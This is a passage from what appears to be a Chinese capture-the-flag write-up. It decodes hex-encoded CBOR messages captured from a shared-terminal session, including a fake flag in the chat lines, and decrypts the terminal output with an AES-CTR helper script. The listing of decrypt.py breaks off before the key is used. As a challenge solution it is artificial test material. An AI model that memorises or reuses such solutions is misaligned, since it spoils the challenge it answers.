80 b9000169736574437572736f72821901301872
81 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901301872
65666f637573f66863616e5772697465f5
82 b9000169736574437572736f72821901301874
83 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901301874
65666f637573f66863616e5772697465f5
84 b90001646d6f76658201f6
85 a1667368656c6c73818201a461780061790064726f7773181864636f6c731850
86 b9000168736574466f63757301
87 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901301874
65666f637573016863616e5772697465f5
88 b900016470696e671b0000019594c15acd
89 a164706f6e671b0000019594c15acd
90 a16c7368656c6c4c6174656e637901
91 b900016464617461830141281bd176e314fce30457
92 a1666368756e6b73830119017f8141ba
93 a1666368756e6b7383011901808254fee3cb29e1c36652655dc6d351ef6a0867321ba258ae52aa
8846ef65de51f6508888441d22ff0a911df03403fd203c1a34ba8a8bb4d4d033dfb926da02f9b5
b321611e4f9f829c95893c75b21e4d183e281d9a7a2019f1cf50f8e26549be9ce3e75810102654
38b47264b1c83f55551a4ccd98d330b34694ce347f03e249615abdfc2fe9c5c4e1097d094f5364
a048f399a72feeda58c6f450a4a9327867230809d6d987294fa16dc00d1fc0fe36ce08c2bc2e39
931777a7635be6694772a1082ff41694
94 b900016464617461830141471bd176e314fce30458
95 a1666368756e6b7383011902428158307ce25e33fcc1e2f90642e6834ef6aedabb4461638f664c
c73cba934610a1cd5c0e79a8c592cf146c523361308fe28b9e
96 a1666368756e6b73830119027281581bb5f32c4f885a6310590943aa237293a20b17bf78ceb503
ff92c5ca
97 a1666368756e6b73830119028d81581b76d7be6383ed71258c165b2d3691afe5e05aa4c9dfad30
2b472714
98 b900016464617461830141b01bd176e314fce30459
99 a1666368756e6b7383011902a8815819a6e831acb785fe749ca2bdbc3dbd1603b2442bad1b6326
f0a1
100 a1666368756e6b7383011902c181581a5baf03bd01bed01c41a67821e7f8ad51f7aa3306b2a733
16cc47
101 b900016470696e671b0000019594c162a1
102 a164706f6e671b0000019594c162a1
103 b9000164646174618301414f1bd176e314fce3045a
104 a1666368756e6b7383011902db8158470c3640c4187a0607b03ae5a379eab35d939eb35ee01140
e58d2e7338ccf0979ccc168553f05e627399eb886c79f2b3d29571327eaf1108660142e19de5d4
5a51f77fdf175bb8f0
105 a1666368756e6b738301190322814b93308599b7cef589bf0cad
106 a1666368756e6b73830119032d81506cb9a4d23a0250864fdcc659ee8e01ff
107 a16c7368656c6c4c6174656e637901
108 b900016464617461830141161bd176e314fce3045b
109 a1666368756e6b73830119033d81557460f415bb95bb9f1a18f3f00f2dbc720a9e111153
110 b9000164646174618301410a1bd176e314fce3045c
111 a1666368756e6b7383011903528155dcecadc895aca4d253df358867d660ad6bb8d34d75
112 b900016464617461830141261bd176e314fce3045d
113 a1666368756e6b73830119036781559849467f9e2bd820f823cfe422319bd006dc8ae539
114 b900016470696e671b0000019594c16a77
115 a164706f6e671b0000019594c16a77
116 b900016464617461830141901bd176e314fce3045e
117 a1666368756e6b73830119037c824793ee2fcd84b0a5483f94b75b07c7ce01
118 a1666368756e6b73830119038b814513e69726cb
119 a1666368756e6b73830119039081531ae05c668b9aea3b1c2f9b05f8623f88a1282c
120 a1666368756e6b7383011903a381586829a82b7b011a7539e878bbfc1394ad90d00a46a0652ff8
3f8b838ae70ec7947ac34ce60e17277b39d3e64c971c12fcf05dbd2088bd56759c1cf92f9d1ef3
3b8549a0dab3eaee2afd714da4a3cafc0ce9e454615929531a7637ad5bcbde154ac0b605c61277
ef7055
121 a1666368756e6b73830119040b815843807f0fd689b10df4a3406b110b1cf3b541ccdb54e18c9b
e8f7bf29753751631400918312b0fac2a7fe3e17a338d774d10d0dce2a4f7293dd06aa7383db5c
08221a226e
122 a1666368756e6b73830119044e8158428ace01a50c547cdb54a16d9503d35e1da9b8da121d2ace
6f2694a5410c0a22ecb47a1b4b24ee18025f1788971d8e0539fd03d14737990d4f4359fa81b354
fe772aad
123 a1666368756e6b738301190490835894bc987d15e37709195e9a5d4c7aacffdc99e87167cd048f
07fe501873894033fade93fd3fe690e35589ad191cf61930ae3469c99e9eaddde3c7b3c77aa70d
f05abc390186eba45fe72b0188188c719e34c15661af385f5ee3d651939898a1e745dc4484c4fd
c637217dbc7ed8dd49b0ad8901f00fd57cf182236f58a58b1ee8d3cd38bdb84a43da2056e688ed
417712a7a1df0d0443957dfe479a5d5f285653e0
124 a1666368756e6b73830119052e8148965b31c1cdae032a
125 a16c7368656c6c4c6174656e637901
126 b900016470696e671b0000019594c17248
127 a164706f6e671b0000019594c17248
128 a16c7368656c6c4c6174656e637900
129 b900016464617461830141031bd176e314fce3045f
130 a1666368756e6b738301190536814120
131 a1666368756e6b738301190537814c8b81596cec473bd604c3186a
132 a1666368756e6b73830119054381581a9fb8f80384a301188fd784ee0bc0963636341e1219ffbf
c12c01
133 b900016464617461830141bd1bd176e314fce30460
134 a1666368756e6b73830119055d8152ed0eaf29fd89247abb9c32c6bce65677b0e5
135 b9000164646174618301411d1bd176e314fce30461
136 a1666368756e6b73830119056f814787ba58455b4a96
137 a1666368756e6b738301190576814739d7bd9030c514
138 a1666368756e6b73830119057d8148e26cc91086d98ca2
139 a1666368756e6b73830119058581433ca0b8
140 a1666368756e6b738301190588824a70998fc3e7c63babe2ee4779290ee1a9e9de
141 a1666368756e6b738301190599814aca7ab4b50b42bab90e2c
142 a1666368756e6b7383011905a38158688554f733aa90a10e60332e13b84bd2782b3ebe077a49dc
6f81f6dd17a4721f0a23cdd3f2028ecc86a617b7f2e1e29a66beaa73da730d6532b622e0f0d851
15bbb4010ba53c2ae9115d278f5053959cccbae54486d1fadba8d08074edd6cd541e94d317adf7
ba2473
143 a1666368756e6b73830119060b8158436a21a727456f9be3990c9f2e7cab2dbc10185ec4e5e44a
45c6255d6d03ffb09df5aca80045812cfff52e6955e53a91c11438c4f767591b617ecedcc59c2f
8c25adaf19
144 a1666368756e6b73830119064e8158424e127a7b11b13e57972b2278a0b12c910ed5ffba746afa
ccfa69bd949f0a09aab9725e0133b5e3b74668aea7943f2d62ba307c0e4fc66da1efdc32d65bfe
05efc8f4
145 a1666368756e6b738301190690845894ee99cc36fb0196d44c91bee36aa9ebd479686ca622641e
4ff2b0daceeeb7b1dc3f123cccf9b7b4e231c68ec6f9fbbdc39379dacb4aa6ffce46af3b2a280c
fc3c121ede2e148e9d03b0db960be4fb851029f09b6e5658516560a775888133a234a4f4805b9c
b772f1ae2ea3b5f3a768e37131916f6976a52a2bb93f648dc9fa82a1a838a04f83ca3f40fdaa1b
36f567b457fb049a430c84ae47390a9a5da58d1448b0a33ee432b70cd7
146 b900016464617461830141ec1bd176e314fce30462
147 a1666368756e6b738301190736814101
148 a1666368756e6b738301190737824c12777218b01718661a5aa1f8582033cade98707d67a10d63
f72b22608dd9079479f56600b266abb361925c0ef2ee
149 b900016470696e671b0000019594c17a19
150 a164706f6e671b0000019594c17a19
151 b900016464617461830141f01bd176e314fce30463
152 a1666368756e6b7383011907638152ba4f016a0e841c218d07116d80826efe9bef
153 a1666368756e6b73830119077581581f6537d5230b52cee385f41bf997e8961219cd8ffc5e4b67
521131f7d1899997
154 b900016464617461830141b21bd176e314fce30464
155 a1666368756e6b73830119079481582970435fe32458e21453d8ff1c5a766a1e1071ba0c694937
885b1d0415b84efefb5dee77f873dbb752a0
156 a1666368756e6b7383011907bd81582635dc24900198a72a738201f1097966e401f7740e918004
414e056c258490ccd440acae79853b
157 b900016464617461830141091bd176e314fce30465
158 a1666368756e6b7383011907e3815204ebe50754c67a21bfcb487b69549a26e0bb
159 a1666368756e6b7383011907f5815835c61e5fc6beb419086a290204780d7c22c3e36b4def890a
6836839a62bda6b1c125fc36c95a4ab6e249b75fe46674607b3615e993e0
160 b900016464617461830141951bd176e314fce30466
161 a1666368756e6b73830119082a81581e8f437efb1b69f14028c500078cdb5cb4c396c2278d968f
b6817f4c79a92c
162 a16c7368656c6c4c6174656e637901
163 b9000164646174618301413c1bd176e314fce30467
164 a1666368756e6b73830119084881581edf804f043c24f9d005d04ed6e668611c05313616aa90b0
ff861cba7f6a35
165 a1666368756e6b73830119086681584747a9e22c8d8095ab2f91023ec1657e39333a73725a967a
6624a3f79a355d1a3408551e8636cd6c3f54ad073e0a3c34b8820718b8f24b558722d493a187ed
8bdef3493ab0c3d4aa
166 b900016464617461830141e51bd176e314fce30468
167 a1666368756e6b7383011908ad8247084b59020b51644831cfe1b012ab225f
168 a1666368756e6b7383011908bc814306a821
169 a1666368756e6b7383011908bf8156b3aae6e206e3027ab9caec143e3c622ef36f98b957d1
170 a1666368756e6b7383011908d58149e8b6ae48e4ef131ff2
171 a1666368756e6b7383011908de815868ebbff3231e61e8bc3b350905430d5aae0cddeb0b9496be
ab5c8ed3fefecd014e3118462ac12c59c17fcccc81fbe5c723ecbac5ac01b945f94751e31ff9f1
0b3ae84e4022ab1cdc181f17e7c1b65970bcd498bad1307073e1007cc066bbfa5a9e593d9d631d
30006b
172 a1666368756e6b73830119094682583001906e7150d67dec6ed1f8830813c2295b93bb70cd224d
e35ad4a2da7ff9011b65d717330497f727f528c632d2f79c1b53f6d8cb3d7f5e8bf97f2206db89
eacbdb013d5a
173 a1666368756e6b7383011909898158421a5ff84071a72f3334d358d3d1681e34f121ca974cb455
4a76647127422212d497fffb77d69e6beecf920ae1a3d723d30827167f73fd50e5f85c3b5d78f6
a67f8db0
174 a1666368756e6b7383011909cb835897294655b75ae713564e02fadf72bba54a51c83b5eb07651
af566b300942c73f2eed3be8f145fc37f077afbad7ec8ed9d781a88f212a4f13bf332a45c7f84a
56f9af736258ab9c66a0539d3b0320d4e3adb5ba6bdd4e8cb0ad17fe0b26654fcff96ede74c387
41810496a80ca63bb85e2617c83bb030589d7847cdd9f2ad8b41b5833f755688c088143ea7d3e8
19d95837fb6799d0fadb534751a512feea3a2148761039f8680c527f
175 b9000164646174618301411d1bd176e314fce30469
176 a1666368756e6b738301190a71814131
177 a1666368756e6b738301190a728254a9acc9ad6a6054b047cfa825a7b9fbd13b843c66582ac008
87db14d7e2cbdc1bc4bd4f9f0ed4e4492e1da776b328a4687d8ccfc9ba145323d9df49bd55aae7
6e
178 b900016464617461830141b71bd176e314fce3046a
179 a1666368756e6b738301190ab081584156f8ffc8fd7329366deba56ef3e3c8fff1cb4234ea3d66
5bf1a2c2bf112c885ffccc3a96887988a88cc44b57c38cfbfc18235852d2ec0ca9a49088e42622
8d17bf
180 a1666368756e6b738301190af18158998e99e3cf30e84aeab305acc41dcdf40c6a5f749f193845
c77528313f91628990ad1f27335112f5c899eedd215e129049f319f19a8f83dc7050c7f8ac5133
f0702e13eb35186179eea9b852cd0b367444defd22a511692aa38552b44e655ad9de54f9109191
d2f2e6ef83bf884b325e37e939612a9e21b8c200c6e1e5ac90e7513811644a581e8925614a2561
66c3d54a62a858b8bd1721d832
181 b900016464617461830141a01bd176e314fce3046b
182 a1666368756e6b738301190b8a81583b66132f4d2769a7e51d1b559f3a778a186fbb64728d0748
c4ac0234cec4ac8f322d67b7258b3f33b74d7f1a5881bc8d2161fdf2bcdaa12dfadfa153
183 a1666368756e6b738301190bc58158265965d9d2d0e26b30605b6639b416fe5279173c4efbafb1
bcb38e1cb36f6b7e8cded0b513a9d8
184 a1666368756e6b738301190beb8157d82fd58573f760059da9b16a385b31c51997d39b633ba2
185 b900016464617461830141b01bd176e314fce3046c
186 a1666368756e6b738301190c02815290746fa9b02c514e9c8b5fdab777adb3dc2b
187 a1666368756e6b738301190c148153348b47ca0239ab80cf765628ab42978420848f
188 b900016464617461830141b81bd176e314fce3046d
189 a1666368756e6b738301190c278146ba449ec2e0f2
190 a1666368756e6b738301190c2d814b07177e3f9eacb578153176
191 b900016470696e671b0000019594c181ea
192 a164706f6e671b0000019594c181ea
193 b900016464617461830141191bd176e314fce3046e
194 a1666368756e6b738301190c3881555e36a91072e03c168bb7e80c0e01ced9a07b955b44
195 b9000164646174618301417e1bd176e314fce3046f
196 a16c7368656c6c4c6174656e637901
197 a1666368756e6b738301190c4d8158506fb8cfa0bd5ad1ae2bb4e36f06c4d8eee771d3c5d8c38c
9bd3f299d6739fd8ce032923b811a449038acd3c1b70b12afd39c830832c884cd7d07c0d37e31a
7d6f9339b2596918e7d4a5d8bfa8d896a847
198 b900016464617461830141a51bd176e314fce30470
199 a1666368756e6b738301190c9d8147158e23384009a0
200 a1666368756e6b738301190ca48247a63c4fb5de6cc84895a6e118ce32ec0e
201 a1666368756e6b738301190cb38145cfed11cbcd
202 a1666368756e6b738301190cb881581943c57149d541c2cf05d9e19c87bc37f2cabc66f85174a1
7c44
203 a1666368756e6b738301190cd18158401d58dd5c0883058aaf50acc57d595be9f2c2d821fabdf7
c0c6a66b3658806075e55d3e2669d38632a0284a6afec2a0ecb5d1ef4d863c778985763a758752
5153
204 a1666368756e6b738301190d118158688e2a77aed59fc82b9539c5ab4b511b33b5ad0ca94df55b
aeb62aa68f9601e231e7facd961f01289b93c71f9acd752c66f130593dfb05fac7195815766eeb
63f67b9150605051d93184073d9226a788d56c8eeb2d66190942a7bf145195056de465e26a2f04
78abe1
205 a1666368756e6b738301190d798158434e7f3e133123d9ccaaeeb1010aa0be5c32fee7323ac2d4
8b3e43e7bd940e11e760f85360cf50b8bf7bccc6f8d8aaf9facc1a9abe897bf0a0b66c3e603688
1f2ef31a4e
206 a1666368756e6b738301190dbc81584292535d9839177bce4ad3a308a3d7bbb8299e48d193153e
0b09bd6b22f6bdb4b50062b8296c375658ff094613e027f474f248254ac43268b32c5b3bce183a
60db3a5a
207 a1666368756e6b738301190dfe825894f8a0ee204ab18ded98495dec2a49d9f1556f1bda54aef9
ced321db6a3b306cd74a737399c2db4b40960fef4477f84105032f27e58cdea9e927da76605741
4a5776708f8a93447c1e770240a40759a9bba984a97e3da1087b44f421c61c63265961d75e7b44
ce24a06bc72abb28128b5afc66f5970925eaa180071d6eb0ad38ba745c683cddad8ba64bd3ca03
6adc46bd64ff1fcc43019109
208 a1666368756e6b738301190e95814fa5adfa9ab603bdd32c0c81e44e6132
209 b900016470696e671b0000019594c189c0
210 a164706f6e671b0000019594c189c0
211 b900016464617461830141881bd176e314fce30471
212 a1666368756e6b738301190ea48141ba
213 a1666368756e6b738301190ea58254e2a082bfbce0721d45a50bfff93ecfe2e25a786a5824b19f
48f19b0d93604f8f194cb4915de8b532f8eedaca32a370d4984dae8f6af6b39fdcb1
214 b900016464617461830141781bd176e314fce30472
215 a1666368756e6b738301190edd81581e3ff6bc7a66a5ee52bd9678fe560c6e81920c0998ca9943
43fcce798ea30f
216 a1666368756e6b738301190efb81581b2565d4a6ac997f1b87be97655d74394a5b239cf31de086
be9dccaf
217 a16c7368656c6c4c6174656e637901
218 b900016464617461830141b81bd176e314fce30473
219 a1666368756e6b738301190f168158193c96fe9660d9494396c4c3e9e6b3c76570a2303b887921
8e3a
220 a1666368756e6b738301190f2f81582a66b2fffc380cadc2130699e99919e8e1993f221fc1df21
613f2f49e95fe617d98f8ccb6b5b5be9ceb915
221 b900016464617461830141241bd176e314fce30474
222 a1666368756e6b738301190f5981581ea9019dd04ee90448c5d965d664401b478ee703c0ac9718
8cbf9ee5652a4c
223 a1666368756e6b738301190f778158318bf8f209b2f994fd597104135e57846b535e28cbd2087f
8a8efc946b615650f922a55811df3a300dcea83f847875097b41
224 b900016464617461830141401bd176e314fce30475
225 a1666368756e6b738301190fa882474da477d201d940489959b8ea5ba79c72
226 a1666368756e6b738301190fb781437c7e53
227 a1666368756e6b738301190fba8152eee295e8b3f767273cd0f9199efe8cfb2b53
228 a1667368656c6c7380
229 b9000169736574437572736f72821901311874
230 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901311874
65666f637573016863616e5772697465f5
231 b9000169736574437572736f728219019210
232 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901921065
666f637573016863616e5772697465f5
233 b9000169736574437572736f72821902043893
234 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821902043893
65666f637573016863616e5772697465f5
235 b9000169736574437572736f728219021438a1
236 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219021438a1
65666f637573016863616e5772697465f5
237 b9000169736574437572736f72821901ca388c
238 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901ca388c
65666f637573016863616e5772697465f5
239 b9000169736574437572736f72821901ad388d
240 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901ad388d
65666f637573016863616e5772697465f5
241 b900016470696e671b0000019594c19191
242 a164706f6e671b0000019594c19191
243 b9000169736574437572736f72821901a43890
244 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901a43890
65666f637573016863616e5772697465f5
245 b9000169736574437572736f72821901963893
246 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901963893
65666f637573016863616e5772697465f5
247 b9000169736574437572736f72821901963893
248 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901963893
65666f637573016863616e5772697465f5
249 b9000169736574437572736f728219021d181f
250 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219021d181f
65666f637573016863616e5772697465f5
251 a16c7368656c6c4c6174656e637901
252 b9000169736574437572736f7282190315190153
253 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903151901
5365666f637573016863616e5772697465f5
254 b9000169736574437572736f72821903961901ef
255 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903961901
ef65666f637573016863616e5772697465f5
256 b9000169736574437572736f72821903dd190255
257 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903dd1902
5565666f637573016863616e5772697465f5
258 b9000169736574437572736f72821903ec190297
259 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903ec1902
9765666f637573016863616e5772697465f5
260 b9000169736574437572736f72821903dd190298
261 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903dd1902
9865666f637573016863616e5772697465f5
262 b9000169736574437572736f72821903d7190298
263 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d71902
9865666f637573016863616e5772697465f5
264 b9000169736574437572736f72821903d6190292
265 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d61902
9265666f637573016863616e5772697465f5
266 b9000169736574437572736f72821903d419028c
267 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d41902
8c65666f637573016863616e5772697465f5
268 b9000169736574437572736f72821903d419028a
269 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d41902
8a65666f637573016863616e5772697465f5
270 b9000169736574437572736f72821903d419028a
271 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903d41902
8a65666f637573016863616e5772697465f5
272 b9000169736574437572736f72821903ce19027e
273 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903ce1902
7e65666f637573016863616e5772697465f5
274 b900016470696e671b0000019594c19964
275 a164706f6e671b0000019594c19964
276 a16c7368656c6c4c6174656e637901
277 b900016470696e671b0000019594c1a134
278 a164706f6e671b0000019594c1a134
279 a16c7368656c6c4c6174656e637901
280 b900016470696e671b0000019594c1a907
281 a164706f6e671b0000019594c1a907
282 a16c7368656c6c4c6174656e637900
283 b900016470696e671b0000019594c1b0dc
284 a164706f6e671b0000019594c1b0dc
285 a16c7368656c6c4c6174656e637901
286 b9000164636861747577656c636f6d6520746f206e637466323032352d31
287 a164686561728301677a7973676d7a627577656c636f6d6520746f206e637466323032352d31
288 b900016470696e671b0000019594c1b8b1
289 a164706f6e671b0000019594c1b8b1
290 a16c7368656c6c4c6174656e637900
291 b90001646368617468686176652066756e
292 a164686561728301677a7973676d7a6268686176652066756e
293 b900016470696e671b0000019594c1c086
294 a164706f6e671b0000019594c1c086
295 a16c7368656c6c4c6174656e637901
296 b900016470696e671b0000019594c1c856
297 a164706f6e671b0000019594c1c856
298 a16c7368656c6c4c6174656e637901
299 b900016470696e671b0000019594c1d029
300 a164706f6e671b0000019594c1d029
301 a16c7368656c6c4c6174656e637901
302 b9000164636861746f4e4354467b66616b655f666c61677d
303 a164686561728301677a7973676d7a626f4e4354467b66616b655f666c61677d
304 b900016470696e671b0000019594c1d7fb
305 a164706f6e671b0000019594c1d7fb
306 a16c7368656c6c4c6174656e637901
307 b900016470696e671b0000019594c1dfcf
308 a164706f6e671b0000019594c1dfcf
309 a16c7368656c6c4c6174656e637900
310 b900016463686174623a29
311 a164686561728301677a7973676d7a62623a29
312 b900016470696e671b0000019594c1e7a0
313 a164706f6e671b0000019594c1e7a0
314 b9000169736574437572736f72821903cf19027e
315 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903cf1902
7e65666f637573016863616e5772697465f5
316 a16c7368656c6c4c6174656e637900
317 b9000169736574437572736f72821903f2190279
318 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821903f21902
7965666f637573016863616e5772697465f5
319 b9000169736574437572736f728219039c190163
320 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219039c1901
6365666f637573016863616e5772697465f5
321 b9000169736574437572736f728219031f18b7
322 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219031f18b7
65666f637573016863616e5772697465f5
323 b9000169736574437572736f7282190291184d
324 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190291184d
65666f637573016863616e5772697465f5
325 b9000169736574437572736f728219023600
326 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821902360065
666f637573016863616e5772697465f5
327 b9000169736574437572736f72821901e63847
328 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901e63847
65666f637573016863616e5772697465f5
329 b9000169736574437572736f72821901c33872
330 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901c33872
65666f637573016863616e5772697465f5
331 b9000169736574437572736f72821901b63880
332 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901b63880
65666f637573016863616e5772697465f5
333 b9000169736574437572736f728219019b388c
334 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f728219019b388c
65666f637573016863616e5772697465f5
335 b9000169736574437572736f7282190196388f
336 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190196388f
65666f637573016863616e5772697465f5
337 b9000169736574437572736f7282190195388f
338 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190195388f
65666f637573016863616e5772697465f5
339 b9000169736574437572736f7282190196388f
340 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190196388f
65666f637573016863616e5772697465f5
341 b9000169736574437572736f72821901aa3878
342 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901aa3878
65666f637573016863616e5772697465f5
343 b9000169736574437572736f72821901ce384a
344 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901ce384a
65666f637573016863616e5772697465f5
345 b9000169736574437572736f72821901cf3847
346 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901cf3847
65666f637573016863616e5772697465f5
347 b9000169736574437572736f72821901c537
348 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901c53765
666f637573016863616e5772697465f5
349 b900016470696e671b0000019594c1ef71
350 a164706f6e671b0000019594c1ef71
351 b9000169736574437572736f72821901a21823
352 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901a21823
65666f637573016863616e5772697465f5
353 b9000169736574437572736f72821901a11823
354 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72821901a11823
65666f637573016863616e5772697465f5
355 b9000169736574437572736f7282190120383f
356 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282190120383f
65666f637573016863616e5772697465f5
357 b9000169736574437572736f7282186e38b9
358 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f7282186e38b965
666f637573016863616e5772697465f5
359 b9000169736574437572736f72f6
360 a16875736572446966668201a4646e616d65677a7973676d7a6266637572736f72f665666f6375
73016863616e5772697465f5
361 a16c7368656c6c4c6174656e637903
362 a16c7368656c6c4c6174656e637900
363
364 """.strip().split("\n") 365 # 你的数据
366
367 for line in all:
368 data = bytes.fromhex(line.strip())
369
370 decoded = cbor2.loads(data)
371 # print(decoded)
372 try:
373 offset = decoded['chunks'][1]
374 data = decoded['chunks'][2][0]
375 cmd = "python3.11 decrypt.py " + str(offset) + " " + data.hex()
376 decrypted = os.popen(cmd).read()
377 # print(offset, data.hex())
378 # print(data.hex())
379 real_data = bytes.fromhex(decrypted.split("0x")[1])
380 sys.stdout.buffer.write(real_data)
381 sys.stdout.flush()
382 except:
383 continue
384 # print(decoded['chunks'][2][0].hex())
decrypt.py:
1 import sys
2 from Crypto.Cipher import AES
3 from Crypto.Util import Counter
4
5
6 class Encrypt:
7 def __init__(self, aes_key):
8 if len(aes_key) != 16:
9 raise ValueError("AES key must be 16 bytes long")
10 self.aes_key = aes_key
11
12 def segment(self, stream_num, offset, data):
13 if stream_num == 0:
14 raise ValueError("stream number must be nonzero")
15
16 # ⽣成8字节⼤端表⽰的nonce
17 nonce = stream_num.to_bytes(8, 'big')
18
19 # 创建CTR模式的计数器,前8字节为nonce,后8字节从0开始计数(⼤端)
20 counter = Counter.new(
21 64, prefix=nonce, initial_value=0, little_endian=False)
22 cipher = AES.new(self.aes_key, AES.MODE_CTR, counter=counter)
23
24 # 跳过指定offset⻓度的密钥流
25 cipher.encrypt(bytes(offset)) 26
27 # 加密/解密数据
28 return cipher.encrypt(data)
29
30
31 def main():
32 if len(sys.argv) != 3:
33 print(f"Usage: {sys.argv[0]} <offset> <data_hex>")
34 sys.exit(1)
35
36 try:
37 offset = int(sys.argv[1])
38 data_hex = sys.argv[2].strip()
39 data = bytes.fromhex(data_hex)
40 except ValueError as e:
41 print(f"Error: {e}")
42 sys.exit(1)
43
44 # 初始化加密器(使⽤硬编码密钥)
然后就可以看见终端⾥的flag